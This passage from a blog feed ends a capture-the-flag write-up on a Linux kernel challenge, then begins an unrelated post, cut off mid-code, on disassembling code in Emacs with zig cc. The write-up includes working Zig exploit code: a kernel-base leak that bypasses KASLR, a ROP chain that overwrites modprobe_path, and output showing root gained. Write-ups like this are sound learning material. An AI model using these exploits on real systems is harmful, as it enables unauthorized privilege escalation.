</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176e2  00 00 00 00 00 00 00 00  30 7F 1C C0 28 A9 FF FF  ........0...(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef2176f2  3A 14 4C B3 FF FF FF FF  48 7F 1C C0 28 A9 FF FF  :.L.....H...(...
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217702  57 A1 C0 B2 FF FF FF FF  00 00 00 00 00 00 00 00  W...............
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217712  00 00 00 00 00 00 00 00  8C 00 E0 B2 FF FF FF FF  ................
</span></span></span><span style="display:flex;"><span><span style="color:#48b685">&gt; 00007ffcef217722  00 00 00 00 00 00 00 00  00 00 00 00 00 00        ..............
</span></span></span></code></pre></div>
</details>

<p>Notice the values <kbd>buf[304..304+8]</kbd> and <kbd>buf[328..328+8]</kbd>: across the different runs only the 4th least significant byte differs.
Furthermore, this byte is the same for both values in a single run, so it&rsquo;s very likely that these values are a constant offset from the kernel base.
As it turns out, masking out the lower 2 bytes of <kbd>buf[304..304+8]</kbd> yields the kernel base address (source: trust me bro)!</p>
<p><a id="code-snippet--kaslr-baseaddr"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakBaseAddress</span>(fd<span style="color:#00d3d0">:</span> std.posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">304</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[<span style="color:#00bcff">304</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> (ret <span style="color:#00d3d0">&gt;&gt;</span> <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">&lt;&lt;</span> <span style="color:#00bcff">16</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>We just need to call <kbd>adjust_offsets</kbd> with our kernel base address leak, and bob&rsquo;s our uncle.</p>





  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x6071ec017b6ac500
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffffa4200000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h4 id="alternate-solve-modprobe-path">Alternate solve: <kbd>modprobe_path</kbd></h4>
<p>This is not an alternative bypass to KASLR, but rather a different attack vector to indirectly achieve priviledge escalation without putzing with <kbd>commit_creds(prepare_kernel_cred(0))</kbd>.</p>
<p>Basically, when <kbd>execve</kbd>&lsquo;ing a binary with magic bytes the kernel doesn&rsquo;t recognize, eventually the following will get called:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#00d3d0">$modprobe_path</span> -q -- binfmt-<span style="color:#00d3d0">$MAGIC</span></span></span></code></pre></div>
</details>

<p>Where <code>$modprobe_path</code> is the string stored in the <code>modprobe_path</code> kernel symbol, and <code>$MAGIC</code> is whatever the magic bytes of the file are.
So if we overwrite <code>modprobe_path</code>, we can get the kernel to execute a file we control.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat /proc/kallsyms | grep -e <span style="color:#79a8ff">&#39;modprobe_path&#39;</span></span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ffffffff82061820 D modprobe_path</span></span></code></pre></div>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ropr --range<span style="color:#00d3d0">=</span>0xffffffff81000000-0xffffffff81400dc6 -R <span style="color:#79a8ff">&#39;^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;&#39;</span> vmlinux</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xffffffff81004d11: pop rax; ret;
</span></span><span style="display:flex;"><span>0xffffffff8100767c: pop rdi; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012833: mov [rdi+0x10], r8d; ret;
</span></span><span style="display:flex;"><span>0xffffffff81012834: mov [rdi+0x10], eax; ret;</span></span></code></pre></div>

<p><a id="code-snippet--modprobe-path"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RDI<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8100767c</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> POP_RAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81004d11</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_ADDROF_RDI_PLUS_16_EAX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81012834</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MODPROBE_PATH<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff82061820</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> KPTI_TRAMPOLINE<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81200f26</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ropchain</span>(writer<span style="color:#00d3d0">:</span> anytype) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> writer.<span style="color:#feacd0">writeAll</span>(std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#79a8ff">&#34;/tmp&#34;</span>, .little),
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        MODPROBE_PATH<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>,
</span></span><span style="display:flex;"><span>        MOV_ADDROF_RDI_PLUS_16_EAX,
</span></span><span style="display:flex;"><span>        POP_RAX,
</span></span><span style="display:flex;"><span>        std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u32</span>, <span style="color:#79a8ff">&#34;/a&#34;</span> <span style="color:#00d3d0">++</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> <span style="color:#00bcff">2</span>, .little),
</span></span><span style="display:flex;"><span>        POP_RDI,
</span></span><span style="display:flex;"><span>        MODPROBE_PATH<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x4</span>,
</span></span><span style="display:flex;"><span>        MOV_ADDROF_RDI_PLUS_16_EAX,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        KPTI_TRAMPOLINE,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#00bcff">0</span>, <span style="color:#a8a8a8">// junk
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#00d3d0">&amp;</span>ret2win),
</span></span><span style="display:flex;"><span>        user_cs,
</span></span><span style="display:flex;"><span>        user_rflags,
</span></span><span style="display:flex;"><span>        user_rsp,
</span></span><span style="display:flex;"><span>        user_ss,
</span></span><span style="display:flex;"><span>    }));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">ret2win</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;[INFO] You won!!</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> tmpa <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/a&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> tmpa.<span style="color:#feacd0">writeAll</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\#!/bin/sh</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\whoami &amp;&gt; /tmp/its-a-me</span>
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">\\chmod 777 /tmp/its-a-me</span>
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    tmpa.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> unknown <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.fs.<span style="color:#feacd0">cwd</span>().<span style="color:#feacd0">createFile</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#79a8ff">&#34;/tmp/unknown&#34;</span>, .{
</span></span><span style="display:flex;"><span>            .read <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span>,
</span></span><span style="display:flex;"><span>            .mode <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> unknown.<span style="color:#feacd0">writeAll</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0xff</span>}<span style="color:#00d3d0">**</span><span style="color:#00bcff">4</span>);
</span></span><span style="display:flex;"><span>    unknown.<span style="color:#feacd0">close</span>();
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<details open>
  
  <summary>Bash</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>./exploit
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># execute bogus file</span>
</span></span><span style="display:flex;"><span>/tmp/unknown &amp;&gt; /dev/null
</span></span><span style="display:flex;"><span>cat /tmp/its-a-me</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>whoami: unknown uid 1000
</span></span><span style="display:flex;"><span>[INFO] Saved state
</span></span><span style="display:flex;"><span>[INFO] Canary: 0x0743fe8b3c798800
</span></span><span style="display:flex;"><span>[INFO] Kernel base: 0xffffffff85800000
</span></span><span style="display:flex;"><span>[INFO] You won!!
</span></span><span style="display:flex;"><span>whoami: unknown uid 0</span></span></code></pre></div>

<h2 id="resources">Resources</h2>
<p>This was my first time solving a kernel pwn challenge, and I was initially quite lost as how to even approach this challenge.
I found the following resources invaluable:</p>
<dl>
<dt><a href="https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html">PAWNYABLE Holstein v1</a></dt>
<dd>Really good resource for learning the basics of kernel pwn and setting up your environment for kernel debugging.</dd>
<dt>Other kernel-rop writeups</dt>
<dd>The writeups published by <a href="https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/">Midas</a> and <a href="https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/">0x434b</a> were super helpful for learning bypasses to different mitigations and alternative solutions to arrive at privileged code execution.</dd>
</dl>
<p>For those curious, I wrote <a href="/kernel-rop/SOLVE.org">the exploits and this post</a> using Emacs org-mode.
Taking the time to get it setup was a little annoying, but being able to run arbitrary commands in the challenge VM (not to mention compiling an exploit and regenerating the initramfs) with a single keystroke hugely improved my productivity.</p>
<p>Using Zig instead of C was also quite nice because of a (imo) much better standard library and quick compile times.
Even if using C, using <kbd>zig cc</kbd> to easily target <code>x86_64-linux-musl</code> is super convenient.</p>
<div class="rc-scout-wrapper"><div class="rc-scout" data-scout-rendered="true"><p class="rc-scout__text">
<i>This work was completed at the <i class="rc-scout__logo"></i> <a class="rc-scout__link" href="https://www.recurse.com/scout/click?t=c9ef0a055fcd2cd243ac045bc1f6dd82">Recurse Center</a>. If you want to program at the edge of your abilities, consider applying.</i>
</p></div> <style class="rc-scout__style" type="text/css">.rc-scout { display: block; padding: 0; border: 0; margin: 0; } .rc-scout__text { display: block; padding: 0; border: 0; margin: 0; height: 100%; font-size: 100%; } .rc-scout__logo { display: inline-block; padding: 0; border: 0; margin: 0; width: 0.85em; height: 0.85em; background: no-repeat center url('data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2012%2015%22%3E%3Crect%20x%3D%220%22%20y%3D%220%22%20width%3D%2212%22%20height%3D%2210%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%221%22%20width%3D%2210%22%20height%3D%228%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%222%22%20width%3D%228%22%20height%3D%226%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%223%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%225%22%20width%3D%222%22%20height%3D%221%22%20fill%3D%22%233dc06c%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%229%22%20width%3D%224%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%221%22%20y%3D%2211%22%20width%3D%2210%22%20height%3D%224%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%220%22%20y%3D%2212%22%20width%3D%2212%22%20height%3D%223%22%20fill%3D%22%23000%22%3E%3C%2Frect%3E%3Crect%20x%3D%222%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%223%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%224%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%225%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%226%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%227%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%228%22%20y%3D%2213%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3Crect%20x%3D%229%22%20y%3D%2212%22%20width%3D%221%22%20height%3D%221%22%20fill%3D%22%23fff%22%3E%3C%2Frect%3E%3C%2Fsvg%3E'); } .rc-scout__link:link, .rc-scout__link:visited { color: #3dc06c; text-decoration: underline; } .rc-scout__link:hover, .rc-scout__link:active { color: #4e8b1d; }</style></div>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://ir0nstone.gitbook.io/notes/binexp/kernel/the-ultimate-aim-of-kernel-exploitation-process-credentials">https://ir0nstone.gitbook.io/notes/binexp/kernel/the-ultimate-aim-of-kernel-exploitation-process-credentials</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://tldp.org/HOWTO/Module-HOWTO/x627.html">https://tldp.org/HOWTO/Module-HOWTO/x627.html</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L60-L64">https://elixir.bootlin.com/linux/v5.9-rc6/source/include/linux/export.h#L60-L64</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[disaster.el + zig cc = Budget godbolt]]></title>
    <link href="https://feyor.sh/blog/godbolt-in-emacs-with-disaster-and-zig/"/>
    <id>https://feyor.sh/blog/godbolt-in-emacs-with-disaster-and-zig/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-02-26T00:00:00+00:00</published>
    <updated>2025-12-11T18:21:33-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/blog/godbolt-in-emacs-with-disaster-and-zig/"><![CDATA[<p><a href="https://github.com/jart/disaster">Disaster</a> is an Emacs package authored by the venerable Justine Tunney that allows disassembling C/C++ and Fortran code from the comfort of your source editing buffer.
I really like this idea, but most of the time I&rsquo;m interested in <code>x86_64</code> assembly instead of my <code>aarch64</code> host platform, so I decided to hack on cross compilation support using <a href="https://andrewkelley.me/post/zig-cc-powerful-drop-in-replacement-gcc-clang.html">Zig as a C/C++ cross compiler</a>!</p>
<p>I&rsquo;m using disaster because its simplicity fits my use case, but you should be able to use the same idea with other packages like</p>
<dl>
<dt><a href="https://gitlab.com/jgkamat/rmsbolt">RMSbolt</a></dt>
<dd>Has support for tons of languages (and bytecode, not just assembly), and you can track point across source and compilation buffers</dd>
<dt><a href="https://github.com/joaotavora/beardbolt">Beardbolt</a></dt>
<dd>Rewrite of RMSbolt that is faster/simpler than RMSbolt, but only supports C/C++/Rust</dd>
</dl>
<h2 id="poc-or-gtfo">PoC Or GTFO</h2>





  
  
    

  
  
    









<details open>
  
  <summary>Emacs Lisp</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-elisp" data-lang="elisp"><span style="display:flex;"><span>(<span style="color:#f78fe7">use-package</span> <span style="color:#00d3d0">disaster</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">:config</span>
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">disaster-cflags</span> (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">disaster-cxxflags</span> <span style="color:#79a8ff">&#34;-Wno-everything -g&#34;</span>))
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">disaster-assembly-mode</span> <span style="color:#79a8ff">&#39;nasm-mode</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#f78fe7">:init</span>
</span></span><span style="display:flex;"><span>  (<span style="color:#f78fe7">define-advice</span> <span style="color:#00d3d0">disaster</span> (<span style="color:#f78fe7">:around</span> (<span style="color:#00d3d0">fn</span> <span style="color:#b6a0ff">&amp;rest</span> <span style="color:#00d3d0">args</span>) <span style="color:#00d3d0">cross-compile</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">interactive</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">;; OPTIONAL: support for non-file buffers</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">setq</span> <span style="color:#00d3d0">arg</span> (<span style="color:#f78fe7">or</span> <span style="color:#00d3d0">args</span>
</span></span><span style="display:flex;"><span>                    (<span style="color:#feacd0">list</span> (<span style="color:#00d3d0">if-let*</span> ((<span style="color:#00d3d0">buf</span> (<span style="color:#feacd0">current-buffer</span>))
</span></span><span style="display:flex;"><span>                                    (<span style="color:#00d3d0">buf-name</span> (<span style="color:#feacd0">buffer-name</span> <span style="color:#00d3d0">buf</span>))
</span></span><span style="display:flex;"><span>                                    (<span style="color:#00d3d0">file</span> (<span style="color:#feacd0">buffer-file-name</span> (<span style="color:#feacd0">current-buffer</span>))))
</span></span><span style="display:flex;"><span>                              <span style="color:#00d3d0">file</span>
</span></span><span style="display:flex;"><span>                            (<span style="color:#00d3d0">make-temp-file</span>
</span></span><span style="display:flex;"><span>                             (<span style="color:#00d3d0">file-name-base</span> <span style="color:#00d3d0">buf-name</span>) nil
</span></span><span style="display:flex;"><span>                             (<span style="color:#f78fe7">cond</span> ((<span style="color:#feacd0">eq</span> <span style="color:#00d3d0">major-mode</span> <span style="color:#79a8ff">&#39;fundamental-mode</span>) (<span style="color:#00d3d0">c-or-c++-ts-mode</span>))
</span></span><span style="display:flex;"><span>                                   ((<span style="color:#feacd0">member</span> <span style="color:#00d3d0">major-mode</span> <span style="color:#00d3d0">&#39;</span>(<span style="color:#00d3d0">c-mode</span> <span style="color:#00d3d0">c-ts-mode</span>)) <span style="color:#79a8ff">&#34;.c&#34;</span>)
</span></span><span style="display:flex;"><span>                                   ((<span style="color:#feacd0">member</span> <span style="color:#00d3d0">major-mode</span> <span style="color:#00d3d0">&#39;</span>(<span style="color:#00d3d0">c++-mode</span> <span style="color:#00d3d0">c++-ts-mode</span>)) <span style="color:#79a8ff">&#34;.cpp&#34;</span>)
</span></span><span style="display:flex;"><span>                                   ((<span style="color:#feacd0">eq</span> <span style="color:#00d3d0">major-mode</span> <span style="color:#79a8ff">&#39;fortran-mode</span>) <span style="color:#79a8ff">&#34;.f&#34;</span>)
</span></span><span style="display:flex;"><span>                                   (t (<span style="color:#00d3d0">file-name-extension</span> <span style="color:#00d3d0">buf-name</span>)))
</span></span><span style="display:flex;"><span>                             (<span style="color:#feacd0">buffer-string</span>)))))
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8">;; replace `doit` with `apply fn args` if you get rid of this</span>
</span></span><span style="display:flex;"><span>          <span style="color:#00d3d0">doit</span> (<span style="color:#f78fe7">lambda</span> () (<span style="color:#f78fe7">if</span> <span style="color:#00d3d0">args</span> (<span style="color:#feacd0">apply</span> <span style="color:#00d3d0">fn</span> <span style="color:#00d3d0">arg</span>)
</span></span><span style="display:flex;"><span>                            (<span style="color:#f78fe7">with-temp-buffer</span> (<span style="color:#feacd0">apply</span> <span style="color:#00d3d0">fn</span> <span style="color:#00d3d0">arg</span>)))))
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">;; END-OPTIONAL</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#f78fe7">if</span> (<span style="color:#f78fe7">and</span> <span style="color:#00d3d0">current-prefix-arg</span> (<span style="color:#feacd0">mapc</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">exe</span>)
</span></span><span style="display:flex;"><span>                                        (<span style="color:#f78fe7">or</span> (<span style="color:#00d3d0">executable-find</span> <span style="color:#00d3d0">exe</span>) (user-error <span style="color:#79a8ff">&#34;disaster: %s not found&#34;</span> <span style="color:#00d3d0">exe</span>)))
</span></span><span style="display:flex;"><span>                                      <span style="color:#00d3d0">&#39;</span>(<span style="color:#79a8ff">&#34;zig&#34;</span> <span style="color:#79a8ff">&#34;jq&#34;</span>)))
</span></span><span style="display:flex;"><span>        (<span style="color:#f78fe7">let*</span> ((<span style="color:#00d3d0">monch</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">prompt</span> <span style="color:#00d3d0">collection</span> <span style="color:#00d3d0">default</span>)
</span></span><span style="display:flex;"><span>                        (<span style="color:#feacd0">completing-read</span> <span style="color:#00d3d0">prompt</span> (<span style="color:#00d3d0">split-string</span> <span style="color:#00d3d0">collection</span> <span style="color:#79a8ff">&#34; &#34;</span>) nil nil nil nil <span style="color:#00d3d0">default</span>)))
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">file-exists-wrapped</span> (<span style="color:#feacd0">symbol-function</span> <span style="color:#feacd0">#&#39;file-exists-p</span>))
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">targets</span> (<span style="color:#00d3d0">split-string</span> (<span style="color:#00d3d0">shell-command-to-string</span> <span style="color:#79a8ff">&#34;zig targets | jq -r &#39;.arch,.os,.abi | join(\&#34; \&#34;)&#39;&#34;</span>) <span style="color:#79a8ff">&#34;\n&#34;</span> t))
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">host-target</span> (<span style="color:#feacd0">mapcar</span> (<span style="color:#f78fe7">lambda</span> (<span style="color:#00d3d0">s</span>) (<span style="color:#feacd0">car</span> (<span style="color:#00d3d0">split-string</span> <span style="color:#00d3d0">s</span> <span style="color:#79a8ff">&#34;[ \.\t\n\r]+&#34;</span>))) (<span style="color:#00d3d0">split-string</span> (<span style="color:#00d3d0">shell-command-to-string</span> <span style="color:#79a8ff">&#34;zig env | jq -r &#39;.target&#39;&#34;</span>) <span style="color:#79a8ff">&#34;-&#34;</span>)))
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">target-arg</span> (<span style="color:#feacd0">apply</span> <span style="color:#feacd0">#&#39;format</span> <span style="color:#79a8ff">&#34; -target %s-%s-%s&#34;</span> (<span style="color:#00d3d0">cl-mapcar</span> <span style="color:#00d3d0">monch</span> <span style="color:#00d3d0">&#39;</span>(<span style="color:#79a8ff">&#34;Arch: &#34;</span> <span style="color:#79a8ff">&#34;OS: &#34;</span> <span style="color:#79a8ff">&#34;ABI: &#34;</span>) <span style="color:#00d3d0">targets</span> <span style="color:#00d3d0">host-target</span>)))
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">disaster-cc</span> <span style="color:#79a8ff">&#34;zig cc&#34;</span>)
</span></span><span style="display:flex;"><span>               (<span style="color:#00d3d0">disaster-cxx</span> <span style="color:#79a8ff">&#34;zig c++&#34;</span>)
